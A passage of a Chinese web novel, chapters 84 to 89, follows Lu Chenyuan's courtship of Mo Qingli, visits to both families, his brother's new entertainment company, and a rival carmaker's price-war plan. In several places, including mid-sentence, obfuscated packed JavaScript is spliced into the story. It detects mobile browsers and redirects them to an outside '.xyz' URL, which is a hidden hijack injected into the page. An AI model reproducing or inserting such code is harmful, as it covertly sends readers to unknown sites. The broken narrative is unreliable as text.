原来，也会有这样笨拙的时刻。 于是，墨清漓故意装作不解的样子，歪了歪头。 “‘我们’？陆总，我不太明白。你不是说，你们兄…妹…几个，陪阿姨吃饭吗？” “我……算什么呢？” 她的眼波流转，带着一丝狡黠的笑意。 陆沉渊被她这一问，彻底问住了。 是啊，她算什么呢？ 他发现，自己确实从未给过她一个明确的身份。 也从未给过，自己一个明确的身份。 他们甚至，连一次正式的约会都没有。 每天像老夫老妻一样同桌吃饭，却又泾渭分明地住在楼上楼下。 陆沉渊看着墨清漓那双仿佛能洞察一切的眼睛，看着她嘴角那抹促狭的笑意，看着那张无论何时都从容自信的脸。 原剧情的枷锁，母亲的期盼，自己的内心…… 在这一刻，所有的犹豫，都化为了一个清晰无比的念头。 他不想再等了。 他忽然觉得自己像个傻瓜。 一个在感情上，怯懦、退缩，甚至不如一个女人的傻瓜。 他深吸一口气，所有的犹豫和纠结，在这一刻，被一股莫名的勇气冲散。 他站起身，走到墨清漓身边。 他没有弯腰，而是以一种平视的、极其郑重的姿态，看着她。 “墨清漓女士。” 他的声音，低沉而清晰，不再有丝毫的迟疑。 “我是陆沉渊。” “你是否，愿意给我一个，正式追求你的机会？” 这代表着一种尊重，一种姿态。 他将选择权，完全交给了她。 墨清漓脸上的笑意，慢慢收敛。 她看着眼前的男人。 他很高，站着的时候，会投下一片阴影，充满了压迫感。 但此刻，她从他的眼睛里，看到的不是霸道，而是真诚，甚至是一丝笨拙的，小心翼翼的期盼。 她以为，以这个男人的木讷，可能永远都不会说出口。 她甚至做好了，由自己来主动捅破那层窗户纸的准备。 没想到，这个男人，终于开窍了。 墨清漓的心，彻底软了下来。 她也站起身，与他对视。 先是轻轻地点了点头，然后，缓缓地绽开一个比刚才任何一次调侃，都更加明媚动人的笑容。 “好啊。”她轻声说。 “我准了。” 第85章 楼梦玲的家宴 周六，楼家庄园。 阳光正好，草坪青翠。 楼梦玲亲自在门口迎接。 最先到的是陆沉霄和陆沉津。 老二陆沉霄依旧是一身白大褂的风格，神情冷淡，仿佛刚从手术台下来。 老四陆沉津则是一身酷炫的赛车手夹克，头发染成了张扬的银灰色，桀骜不驯。 接着，是陆沉晏。 作为顶流明星，他做了简单的伪装，戴着帽子和口罩，但依旧掩盖不住那份星光。 三个弟弟聚在一起，气氛有些微妙。 母亲提前透过口风，他们都知道今天大哥会带那个“传说中”的女人回来。 不多时，一辆车驶入。 车门打开，走下来的是陆若溪。 她穿着简单的长裙，气质越发沉静，像一块温润的玉。 而跟在她身后的，是苏阳。 苏阳提着一个果篮，神情有些拘谨，但还是礼貌地向众人问好。 “二哥，三哥，四哥。” 之前的WAIC的冠军奖杯，让苏阳成为现在在科技圈的大热门。 甚至，苏阳“小镇做题家”的出身，更让这个科技新贵多了几分神秘色彩。 让苏阳这个年轻学子极大的破圈传播，成为无数人励志偶像。 所以陆家几人都是知道苏阳的。 “苏阳？你怎么来了？”陆沉晏摘下口罩，有些惊讶。 陆沉霄和陆沉津也投来审视的目光。 “我……我陪若溪一起来的。”苏阳挠了挠头。 “是我带他来的。”陆若溪平静地开口，“妈也知道。” 楼梦玲笑着走过来，拉起苏阳的手。 “来就来，还带什么东西。快进来，不用紧张。” 楼梦玲在京州大学任教，又天天去找女儿，自然知道苏阳。 她很喜欢这个踏实、真诚，看若溪时眼睛里有光的年轻人。 至于是不是科技新贵，其实楼梦玲并不在意。 陆家三兄弟看着这一幕，面面相觑，没再说什么。 妹妹的事情，母亲同意了，他们自然没有意见。 就在这时，又一辆黑色的车子驶入庄园。 所有人的目光，都被吸引了过去。 车门打开。 陆沉渊先下车，他今天穿得没有那么正式，一身休闲西装，少了几分商场的锐利，多了几分居家的温和。 他绕到另一边，绅士地打开了副驾驶的车门。 一只穿着优雅高跟鞋的脚，先探了出来。 紧接着，墨清漓的身影，出现在众人面前。 她穿着一条剪裁得体的墨绿色长裙，长发微卷，妆容精致。 她站在陆沉渊身边，没有小鸟依人的姿态，而是与他并肩而立，气场强大，却又完美地融合。 那一瞬间，陆沉霄、陆沉晏、陆沉津，三个性格迥异的弟弟，脑海中同时冒出一个念头。 原来，是她。 果然，是她。 意料之外，又似乎，情理之中。 能站在大哥身边的女人，也只能是她这样的。 “妈。”陆沉渊牵着墨清漓的手，走到楼梦玲面前。 “阿姨，您好。”墨清漓微笑着问好，落落大方。 “哎，好，好！”楼梦玲笑得合不拢嘴，拉着墨清漓的手，怎么看怎么满意。 “快进来，都别在外面站着了。” 最后一辆车，姗姗来迟。 是陆芊芊。 她穿着一身轻便的户外装，皮肤晒成了健康的小麦色，剪短的头发更显干练。 她的眼神，不再有过去的娇纵和不安，取而代之的是一种经历过风雨后的坚定与平和。 当她看到院子里其乐融融的景象时，愣了一下。 尤其是当她看到，陆若溪和苏阳，以及大哥身边那位气度不凡的墨清漓时。 她的心中，没有嫉妒，没有不甘。 只有一种发自内心的，为他们高兴的情绪。 “妈！大哥！我回来啦！”她笑着跑过去，给了楼梦玲一个大大的拥抱。 “好孩子，来了就好，来了就好。” 楼梦玲抱着她，声音有些哽咽，这几个孩子，就陆芊芊最让人心疼，最让人担心。 陆芊芊松开母亲，目光在客厅里扫过。 当她的视线，和陆若溪的视线，在空中相遇时。 客厅里的气氛，有了一瞬间的凝滞。 真假千金。 这是她们在身份揭晓后，第一次，在这样正式的家庭场合，平静地对视。 没有想象中的刀光剑影，没有尴尬和怨恨。 两个女孩，一个沉静如水，一个明媚如火。 她们的目光在空中交汇，没有敌意，反而有一种隐隐的惺惺相惜。 “若溪，恭喜你，WAIC的冠军。我看到新闻了，你真厉害。”陆芊芊由衷地赞叹道。 “谢谢。”陆若溪浅浅一笑，“你的事，我也听大哥说了，你也很了不起。” 简单的两句对话，化解了过往所有的恩怨。 她们都找到了自己的人生道路，不再需要依附于“陆家千金”这个虚无的身份，去争夺那份狭隘的宠爱。 楼梦玲看着这一幕，眼眶微微湿润。 家宴的气氛温馨而融洽。 这是陆沉渊穿越以来，第一次感受到如此纯粹的家庭的温暖。 没有算计，没有争斗。 只有家人间的关心与闲聊。 最让陆沉渊感到欣慰的，是陆若溪和陆芊芊的第一次正式会面，已然走出了完全不同的版本。 几人在饭桌上坐定后，楼梦玲从手腕上褪下一个通体碧绿的翡翠镯子。 她拉过墨清漓的手，亲自为她戴上。 “清漓，这是阿姨给你的见面礼。”楼梦玲笑得温婉， “你别有压力。这镯子，是我们楼家的传家宝，跟我那前夫家，没关系。就算将来，你看不上我们家阿渊了，也没事。阿姨认你这个干女儿，我们楼家和墨家的交情，一直在。” 一番话，说得滴水不漏。 既表达了最高的认可，又给了墨清漓足够的尊重和退路。 墨清漓感受着手腕上的温润，心中一暖。 “谢谢阿姨。” 陆沉渊在一旁看着，心里一阵无语。 怎么感觉，自己老妈这么急着把自己“推销”出去？ 饭吃到一半，气氛正好。 陆沉晏突然放下酒杯，叹了口气。 “看着你们，我忽然觉得自己挺失败的。” 众人闻言，都看向他。 “你看，”陆沉晏自嘲地笑了笑，“大哥现在是咱们夏国的科技教父，镇海神针，护着我们所有人。二哥是医学界的翘楚，四弟是为国争光的赛车冠军。” “就连两个妹妹，若溪姐注定是要在科学史上留名的天才。芊芊呢，现在是行走的天使，把爱和希望带到全世界。” “我呢？”他摊了摊手，“只是一个普通的演员。每天在镜头前嘻嘻哈哈，好像是家里最没有价值，最拿不出手的那一个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆沉晏一愣，点了点头：“看过，科幻片的经典。” “你觉得，它最大的价值是什么？”陆沉渊继续问。 “呃……”陆沉晏思索片刻，“它点燃了无数人对太空探索的梦想，推动了世界电影工业化的进程，也……也创造了巨大的商业价值……” 他说到一半，突然停住了。 他好像明白了什么。 陆沉渊看着他，知道他已经反应过来了。 “对。任何一个行业，做到顶尖，都能创造出无法估量的价值。商业价值，社会价值，甚至是文明价值。” “你现在的位置，很好。但你的思路，可以更开阔一些。” 陆沉渊的目光，变得深邃。 “演而优则导，是一个方向。但你背靠陆家，可以做的，远不止于此。” “成立你自己的娱乐公司，整合资源，制定行业标准，向世界输出我们夏国的文化和价值观。这，也是一个方向。” “大哥的意思是……”陆沉晏的呼吸，变得急促起来。 “你想好了，可以去找任茜。让她帮你把前期的班底搭好。”陆沉渊平静地说道， “后续的管理和发展，要靠你自己去摸索。没事，陆家人，不怕试错。大哥给你兜底。” 这一番话像一道光，瞬间照亮了陆沉晏迷茫的前路。 他眼中的那点颓丧，一扫而空。 取而代之的是熊熊燃烧的，名为野心的火焰。 楼梦玲看着自己的几个孩子。 老大沉稳如山，为所有人指引方向。 其他的孩子，也都在各自的领域，闪闪发光，并且学会了彼此扶持，彼此慰藉。 这才是家。 这才是她梦想中，家的样子。 她的脸上，露出了无比满足和安宁的笑容。 第86章 陆沉晏的追逐 家宴结束，夜色已深。 陆沉渊开着车，墨清漓坐在副驾。 车内没有音乐，只有空调轻微的送风声。 刚才在庄园里的热闹，仿佛还在耳边。 楼梦玲的笑，陆芊芊的拥抱，陆沉晏重燃的斗志。 一切都很好，好得有些不真实。 “在想什么？”墨清漓开口，打破了沉默。 “没什么。”陆沉渊目视前方，“只是觉得，今天很好。” 他的用词很简单，墨清漓却能听懂其中的分量。 她侧过头，看着他握着方向盘的手。 骨节分明，稳定有力。 就是这只手，扭转了陆家的命运，也搅动了整个商界的风云。 此刻，却只是安静地开着车。 “我妈很高兴。”陆沉渊又说了一句。 “嗯，阿姨人很好。”墨清漓真心实意地说道，“她给的镯子，很漂亮。” 她抬起手腕，月光下，那抹碧绿温润通透。 陆沉渊的目光扫过那个镯子，又回到路上。 “我妈说得对。” “嗯？” “那个镯子，是楼家的东西。你收下，不用有压力。”他解释道。 墨清漓笑了。 这个男人，在某些方面，认真得有些可爱。 “我没有压力。”她说。 车子在云顶壹号楼下停稳。 两人一起上楼。 电梯里，狭小的空间让气氛变得有些不一样。 陆沉渊能闻到她身上淡淡的香水味。 墨清漓能感觉到他身上传来的，令人安心的气息。 电梯停在墨清漓所在的楼层。 门开了。 墨清漓没有立刻走出去。 她看着陆沉渊，忽然问：“阿渊，家宴是相互的。” 陆沉渊愣了一下，看着她。 “按照礼节，我是不是也该带你……回家吃个饭？”墨清漓的语气很平静，像是在讨论一份商业合同的对等条款。 但她的眼底，藏着一丝笑意。 她知道，这个男人在感情上不开窍。 自己不主动，他可能永远想不到这一层。 或者，想到了，也不敢说。 陆沉渊的心跳漏了一拍。 他确实想过。 在楼梦玲提出家宴之后，他就想到了这个问题。 正式拜访墨清漓的父母。 这是一个正式的确立关系的必要步骤。 但**该如何开口。 没想到，她替他说了出来。 他看着墨清漓坦然的目光，感觉自己的那点犹豫和笨拙，都无所遁形。 他清了清嗓子，试图让自己的声音听起来更正式一些。 “当然。我随时都有时间。你安排好了，通知我就可以。” 话说出口，他觉得有些僵硬。 听起来，像是在等待下属的工作排期。 墨清漓嘴角的笑意更深了。 “好。那我回去问问我爸妈。” 她说完，走出了电梯。 电梯门缓缓关上，隔绝了她的身影。 陆沉渊靠在轿厢壁上，轻轻呼出了一口气。 他感觉，去墨家拜访，可能比当初从陆家独立出来，还要让他紧张。 …… 第二天，渊龙科技总部。 陆沉晏戴着帽子和墨镜，出现在顶楼的总裁办公区。 由于事先打过招呼，陆沉晏几乎是一路小跑，穿过秘书区，直接推开了COO的办公室的门。 “茜姐！” 任茜正低头看着一份文件，被这突然的闯入吓了一跳。 她抬起头，看到是陆沉晏，有些惊讶。 “三少？你怎么来了？” “我有急事找你！”陆沉晏摘下墨镜，眼睛里是前所未有的光亮。 他几步走到任茜的办公桌前，双手撑着桌面，身体前倾，呼吸都有些急促。 “我要开公司！” 任茜愣住了。 “开公司？什么公司？” “娱乐公司！”陆沉晏的语速很快，“大哥点醒我了！我要成立自己的娱乐公司，我要做行业的标准，我要把我们夏国的文化，带到全世界去！” 他的脸上，是毫不掩饰的兴奋和野心。 昨天饭桌上大哥的那番话，像一颗种子在他心里生根发芽，一夜之间长成了参天大树。 他几乎一夜没睡，脑子里全都是关于未来的构想。 做国风音乐，拍科幻史诗，打造虚拟偶像，建立全球发行网络…… 他要把那些曾经只敢想一想的念头，全部变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348532|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成现实。 任茜看着他。 眼前的陆沉晏，和她印象中那个有些冲动、有些孩子气的顶流明星完全不同。 他的眼神里，有一种叫做“信念”的东西。 坚定，且滚烫。 任茜没有立刻回应。 她往后靠在椅背上，双手环胸，冷静地打量着他。 “三少，开公司不是一件小事。尤其是在文娱行业，水很深，坑很多。你的想法很好，但怎么落地？你的团队，你的资金，你的商业模式，你想过吗？” 她是渊龙科技的COO，不是陪小孩子过家家的保姆。 虽然陆沉渊已经和她通过气，但是她也必须确认，这不是陆沉晏一时头脑发热的决定。 陆沉晏没有被她冷静的态度浇灭热情。 他拉开椅子，在任茜对面坐下。 “我想过了。” 他从口袋里拿出一个小本子，翻开。 上面密密麻麻，写满了他的想法，有些字迹甚至因为激动而显得潦草。 然后一条一条地讲。 他一口气说完，眼睛亮得惊人。 任茜安静地听着。 她从最初的审视，渐渐变成了惊讶，最后，化为了一丝赞许。 陆沉晏的计划，或许还很粗糙。 但他抓住了核心。 内容为王，渠道制胜。 更重要的是，他有格局。 他想的，不是自己能赚多少钱，而是如何建立一个能向外输出影响力的文化平台。 这和陆沉渊做渊龙科技的思路，隐隐有些契合。 “我明白了。”任茜点了点头，拿起了笔， “把你具体的想法，一条一条说清楚。我帮你整理成一份正式的商业计划书。” “然后，我会动用我的人脉，帮你物色一个合适的CEO人选，搭建最初的核心班底。” “太好了！谢谢你，茜姐！”陆沉晏激动地站了起来。 “别谢我。”任茜的表情依旧平静，“你这个项目，如果能成功，对渊龙科技的生态布局，也有好处。我是在完成我的工作。” 她顿了顿，补充了一句。 “不过，你的想法，确实不错。” 能得到任茜这样直接的夸奖，比得到千万粉丝的尖叫，更让陆沉晏感到鼓舞。 第87章 接着见家长 周末，墨家宅邸。 和陆家庄园的威严厚重不同，墨家的宅子更像是一座中式园林。 小桥流水，亭台楼阁，处处透着精致和风雅。 陆沉渊提着精心准备的礼物跟在墨清漓身边，走在青石板路上。 他换上了一身深灰色的中式盘扣便服，让他整个人都柔和了不少。 但他心里，却远不如表面这么平静。 墨家的客厅里，一个气度儒雅的中年男人，正在泡茶。 他穿着和陆沉渊同色系的便服，动作行云流水，带着一种岁月沉淀下来的从容。 正是墨氏集团的董事长，墨清漓的父亲，墨振邦。 只不过，现在墨氏集团的所有事务，几乎都是墨清漓在掌控。 墨振邦，更像是一个甩手掌柜。 旁边，一位气质温婉的妇人，正微笑着看着门口。 她是墨清漓的母亲，林书涵。 “爸，妈，我们回来了。”墨清漓的声音，一向清冷的女王，此时居然带上了几分女儿家的娇憨。 “回来就好。”林书涵笑着迎上来，目光第一时间落在了陆沉渊身上。 她上上下下地打量着，眼神里满是丈母娘看女婿的满意。 “沉渊，快进来坐。之前在老爷子生日宴见过一面之后，再也没来过我们家做客，你这孩子啊。” “叔叔好，阿姨好。”陆沉渊礼貌地问候，将礼物递上。 “来就来，还带什么东西，太客气了。”林书涵接过礼物，热情地招呼他坐下。 墨振邦抬起眼，看了陆沉渊一眼，微微点头，算是打了招呼。 他没有说话，继续专注于手上的茶器。 但陆沉渊能感觉到，一道锐利的目光始终落在自己身上。 那目光里，有审视，有探究，还有一丝不易察觉的……警惕。 他知道，这一关，不好过。 墨振邦，虽然比陆承嗣小一辈，却是和陆承嗣活跃在一个时代的人物。 虽然看起来温和，但能把墨家带到今天这个高度，其手腕和心智绝非常人可比。 墨家在后代培养上，确实有独到之处。 不提墨振邦是和陆承嗣同台竞技的高手，就说墨清漓和陆沉渊差不多同时成为家族企业的继承人，陆沉渊在陆氏集团处处受到掣肘，而墨清漓在墨氏集团早就大权独揽。 这中间的差别，高低立判。 “喝茶。” 墨振邦将一杯泡好的茶，推到陆沉渊面前。 茶香四溢。 “谢谢叔叔。”陆沉渊端起茶杯，轻啜一口。 “渊龙科技最近的动作，很大。”墨振邦终于开口了。 他没有问女儿的私事，一开口就是商业。 “开源‘女娲’模型，等于把一座金山送给了所有人。很多人都说，你太理想主义，不懂商业。” “商场如战场，将帅无能，累死三军。你把最核心的武器图纸都公开了，以后还怎么打仗？” 他的问题绵里藏针，直指核心。 林书涵在一旁，有些担忧地看了看丈夫。 墨清漓却很镇定，她只是安静地坐着，没有插话。 她相信陆沉渊。 陆沉渊放下茶杯，神情平静。 “叔叔，未来的战争，不是靠一两件先进武器就能赢的。” “靠的是标准，是生态。” “我送出去的，不是武器图纸，而是制造武器的‘思想’。当所有人都用我的思想去制造武器时，他们就永远离不开我制定的标准。我可以决定他们用什么钢材，用什么口径，甚至可以决定，他们何时可以开枪。” “我放弃的，是一城一池。我想要的，是整个天下。” 他的声音不大，却掷地有声。 客厅里，一时安静下来。 墨振邦看着陆沉渊，眼神里第一次出现了讶异。 他原以为，陆沉渊会从商业价值、市场前景这些角度来解释。 没想到，他的格局比自己想象的还要大。 他想做的，不是一个霸主，而是规则的制定者。 墨振邦沉默了片刻，又问道， “你就不怕，养虎为患？A国的思特拉，可不是善茬。你把路铺好了，他们开着车上来，可能比你跑得还快。” “不怕。”陆沉渊回答得很干脆。 “其它的尚且不论，最重要的一点， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348533|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”陆沉渊看着墨振邦，目光灼灼， “未来的竞争，不是一家公司和另一家公司的竞争。而是一个生态，和另一个生态的竞争。渊龙和墨氏，我们站在一起，就代表了夏国最顶尖的新能源和人工智能生态。这个生态，足以对抗任何外部的挑战。” 他巧妙地将墨家也拉了进来。 这不是奉承，而是事实。 墨振邦的眼神，终于柔和了下来。 他端起自己的茶杯，喝了一口。 “清漓的眼光，随我。很好。” 一句没头没尾的夸奖，却让在场所有人都松了一口气。 这是认可，来自墨家掌门人最高级别的认可。 林书涵脸上笑开了花，连忙招呼道： “好了好了，别总谈工作。开饭，开饭！我今天做了你最爱吃的糖醋小排，清漓。” 晚饭的气氛，温馨而融洽。 墨振邦没再问任何关于商业的问题。 他开始聊一些家常，问陆沉渊平时的爱好，工作累不累。 像一个最普通的父亲，在关心女儿的男朋友。 陆沉渊一一回答。 他有些不适应这种温情。 在前世，他是孤儿。 在这一世，陆承嗣对他更多的是器重和期许，陆明业对他更是只有利用和排斥。 除了楼梦玲，陆沉渊是第一次感受到这样纯粹的，来自长辈的关怀。 一顿饭吃完，陆沉渊的心里多了一丝暖意。 告别墨家时，墨振邦亲自送他们到门口。 “清漓这个孩子，主意大。她认定的事，谁也改变不了。”墨振邦看着陆沉渊，意有所指地说道。 “以后，就拜托你了。” “叔叔放心，我会的。”陆沉渊郑重地承诺。 回去的车上，陆沉渊的心情，前所未有的放松。 他感觉，自己生命中一块重要的拼图，被补上了。 “感觉怎么样？我爸没有在我不在的时候为难你吧？”墨清漓笑着问。 “没有。”陆沉渊摇了摇头，“叔叔……很好。” 他看着窗外的夜景，忽然觉得，京州的夜晚似乎也没有那么清冷了。 第88章 陆芊芊找投资 秦氏集团总部，顶层会议室里的气氛有些压抑。 所有高管都低着头，不敢看主位上的秦雅。 更不敢看站在投影幕布前的那个男人。 厉烬川。 自从他在陆沉渊手下惨败，又被秦家收留后，已经蛰伏了太久。 久到很多人都快忘了他曾经的锋芒。 今天的他穿着一身合体的深色西装，头发梳理得一丝不苟。 眼神平静，甚至透着一丝丝阴冷。 他的身上看不到丝毫失败者的颓丧，只有野兽般的危险气息。 “我的计划，说完了。”厉烬川的声音不大，却清晰地传到每个人耳中。 他关掉投影，随后，会议室的灯光亮了起来。 所有人的目光下意识地投向了秦雅。 秦雅靠在椅背上，一副玩世不恭的样子。 她穿着一身火红色的连衣裙，与会议室的沉闷色调格格不入。 脸上带着几分漫不经心的慵懒。 “厉烬川，你的意思是，要我们秦氏，继续去跟陆沉渊打价格战？” 她的语气，像是在讨论今天下午去哪里购物。 “是，也不是。”厉烬川直视着她，不卑不亢。 “‘无距’汽车，现在是夏国新能源的标杆。它的品牌形象，已经立住了。我们去高端市场跟它硬碰，是自寻死路。” “但它的成功，也留下了巨大的市场空白。” “四十万以下的市场。” “这个市场，才是夏国新能源汽车真正的基本盘。” “思特拉的**车型，已经瞄准了这里。我们再不进去，就晚了。” 一位副总裁忍不住开口：“厉总，价格战的风险太大了。我们的供应链成本，虽然有优势，但要做到你说的‘亲民版’高性能，利润空间会被压缩到极致，稍有不慎，就是巨额亏损。” “我不要利润。”厉烬川的回答，让所有人一惊。 “我要市场份额。” 他的目光扫过全场。 “我要用一款无法拒绝的产品，以一个无法拒绝的价格，在最短的时间内，占领消费者的心智。” “我要让所有人知道，想买高性能新能源车，不一定非要选‘无距’。” “当我们的‘风驰’，铺满夏国的大街小巷时，‘无距’那个高高在上的神话，就不攻自破了。” “风驰”，这是他为新品牌取的名字。 简单，直接，充满了速度感。 秦雅的手指轻轻摩挲着，她看着厉烬川，眼神里第一次有了认真的神色。 她知道这个男人是在赌，在用秦家的资源，赌他的野心，赌他对陆沉渊的恨意。 但她也不得不承认，这个计划极具诱惑力。 如果成功，秦氏新能源将不再是墨氏的追赶者，而是能从另一个维度，直接威胁到渊龙科技根基的挑战者。 “你拿什么保证成功？”秦雅问。 “我。”厉烬川只说了一个字。 他的眼神里，是绝对的自信，甚至自负。 “过去这段时间，我研究了‘无距’所有车型的参数，拆解了他们全部的供应链，分析了他们超过十万份的用户反馈报告。” “我知道他们的优点在哪里，更知道他们的痛点在哪里。” “我的‘风驰’，会在他们最引以为傲的电池和智能系统上，做到百分之七十的性能。” “但在价格上，只有他们的一半。” “大小姐，你告诉我，这样的产品，会不会赢？” 会议室里陷入一片死寂，所有人都被厉烬川描绘的蓝图震惊了。 这是一个疯子。 也是一个天才。 秦雅沉默了很久。 她站起身，走到落地窗前，看着脚下的车水马龙。 她想起了不久前，陆沉渊掀翻棋盘，直接和市府高层对话的阳谋。 那一刻，她感受到了被降维打击的无力。 她知道，按部就班地跟在陆沉渊和墨清漓身后，秦家永远没有出头之日。 想赢，就必须用非常规的手段，就必须在意想不到的地方好好赌一把。 而厉烬川，就是她手上最锋利，也最危险的那张赌牌。 “好。” 秦雅转过身，红唇微启。 “我准了。” “秦氏新能源，成立‘风驰’事业部，你来当负责人。” “公司的所有资源，向你倾斜。” 她走到厉烬川面前，高跟鞋的声音在安静的会议室里格外清晰。 她微微仰头，看着他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348534|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“但是，厉烬川，你给我记住。” “这是秦家的车，不是你向陆沉渊复仇的工具。” “我要的是市场，是胜利，是秦家的未来。” “如果你玩砸了，我会亲手，把你从这里，踢出去。” 厉烬川看着她近在咫尺的，美艳而危险的脸，嘴角勾起一抹冰冷的弧度。 “一言为定。” 他的眼眸深处，熄灭已久的火焰重新燃烧起来。 这一次，他要将陆沉渊，连同他那个高高在上的科技帝国，一起烧成灰烬。 ………… “远方”基金会的筹备，比陆芊芊想象的要更复杂很多。 她租下了一间小小的办公室作为基金会的临时总部。 姬无双成了她的第一个员工，身兼司机、保镖、行政、助理数职。 楼梦玲、陆沉渊以及墨清漓的第一笔资金已经到账。 但后续的筹款，却遇到了瓶颈。 陆芊芊坚持不接受公众捐款，并且要求基金会对资本有绝对的掌控权。 这两个条件，直接劝退了许多有意向的投资人。 他们要么希望通过捐款获得更大的社会声誉，要么希望在基金会里拥有话语权。 像陆沉渊和墨清漓这样，只给钱，不干涉的“天使投资人”少之又少。 “大哥，这是我们目前的资金情况。” 陆沉渊的办公室里，陆芊芊把一份报表递了过去。 “刚够启动我在中东的第一个试点项目。但后续的推广，还有东南亚那边的计划，资金缺口还很大。” 她的语气里，有了一丝成年人才能体会到的疲惫。 理想很丰满，现实却处处是掣肘。 陆沉渊看着报表，又看了看自己那个褪去了娇气，眉宇间多了几分坚韧的妹妹。 “芊芊，你有没有想过，换一种思路？” “什么思路？” “你的项目，本质上，是一种影响力投资。”陆沉渊缓缓说道， “它的回报，不是金钱，而是正面的社会形象和无形的**资源。” “这种回报，对有些人来说，比金钱更重要。” “比如呢？” 陆沉渊的指尖，在桌面上轻轻敲了敲。 “比如，秦雅。” 第89章 面具之下 当陆沉渊说出秦雅两个字时，陆芊芊惊得站了起来， “秦雅？！大哥，你没搞错吧？” “秦家和墨家是死对头，渊龙科技现在和墨氏是盟友，秦雅怎么可能给我们投钱？” “她不恨死我们就不错了。” 这完全不符合商业逻辑。 “有时候，最大的敌人，也可能成为最好的合作伙伴。”陆沉渊的语气意味深长。 “你去见她，什么都不要预设。把你‘远方’的计划，原原本本地告诉她。” “她会给你一个惊喜的。” 听完陆沉渊的话，陆芊芊半信半疑。 但出于对大哥的绝对信任，陆芊芊还是决定试一试。 通过任茜的关系，她很快拿到了秦雅的联系方式。 让陆芊芊感到意外的是，当她报出自己的名字和来意后，秦雅的秘书只是说了一句“请稍等”，几分钟后，就给了她一个确定的会面时间。 第二天下午，在秦氏集团楼下的一家私人会所里。 陆芊芊提前十分钟到达。 秦雅却迟到了整整半个小时。 秦雅走进来的时候，像一阵风。 依旧是那身招摇的红色，脸上戴着一副巨大的墨镜。 “不好意思，有点事情耽误了。”她随口说了一句，摘下墨镜，露出一张美得极具攻击性的脸。 她打量着陆芊芊，眼神里带着毫不掩饰的审视。 “陆家的小公主，说说吧，今天找我想干什么？” 陆芊芊没有被她的气场压住。 她将一份早已准备好的计划书，推了过去。 “秦总，我今天来，不是以陆家人的身份，而是以‘远方’基金会创始人的身份。” “我想邀请您，加入我们的事业。” 秦雅没有看那份计划书。 她招手叫来服务生，点了一杯最贵的咖啡。 然后靠在沙发上，懒洋洋地看着陆芊芊。 “说来听听。” 陆芊芊深吸一口气，开始讲述。 她讲了自己在国外的所见所闻，讲了传统慈善的弊病，讲了“远方”基金会精准、高效、可造血的模式。 她的语速不快，但每一句话都来自于亲身经历，充满了力量。 秦雅安静地听着，脸上没什么表情，只是偶尔端起咖啡，喝上一口。 等陆芊芊说完，她才慢悠悠地开口。 “想法不错。所以，你缺钱？” “是。我需要志同道合的伙伴。” “墨清漓投了多少？”秦雅突然问。 这个问题，让陆芊芊愣了一下。 她没想到，秦雅最关心的竟然是这个。 “……清漓姐，以个人名义，投了一个亿。” “哦？”秦雅的嘴角，勾起一抹玩味的笑。 “她还真是大方。” 她放下咖啡杯，身体前倾，看着陆芊芊。 “行，我投了。” “她投一个亿，我就投两个亿。” “什么？！”陆芊芊怀疑自己听错了。 “我说，我投两个亿。”秦雅重复了一遍，语气轻松得像是在说“我买个包”。 “不过我有一个条件。” “什么条件？” “以后，‘远方’基金会所有的宣传稿里，我的名字，必须排在墨清漓的前面。” 陆芊芊彻底怔住了。 她看着眼前的女人，觉得有些荒唐。 花两个亿，就为了在名字排序上，压过自己的死对头？ “秦总，您……是不是太儿戏了？”她忍不住说，“这是一个很严肃的事业。” “儿戏？” 秦雅忽然笑了。 那笑容里，没有了刚才的慵懒和玩味，反而多了一种洞察一切的锐利。 她收起了那副刁蛮大小姐的伪装，整个人的气场，瞬间变得沉稳而强大。 “陆芊芊，你以为，我真是个只会用钱来跟墨清漓置气的草包？” 陆芊芊看着她，说不出话来。 “没错，我讨厌墨清漓，我看她不顺眼，这是事实。能用钱在名声上压她一头，我很高兴。” “但是，你当我是傻子吗？拿两个亿的真金白银，只为了一时之气？” 秦雅端起咖啡，目光变得深邃。 “我迟到半小时，是因为我刚刚开完一个关于价格战的会，那场战争，赌的是秦氏未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 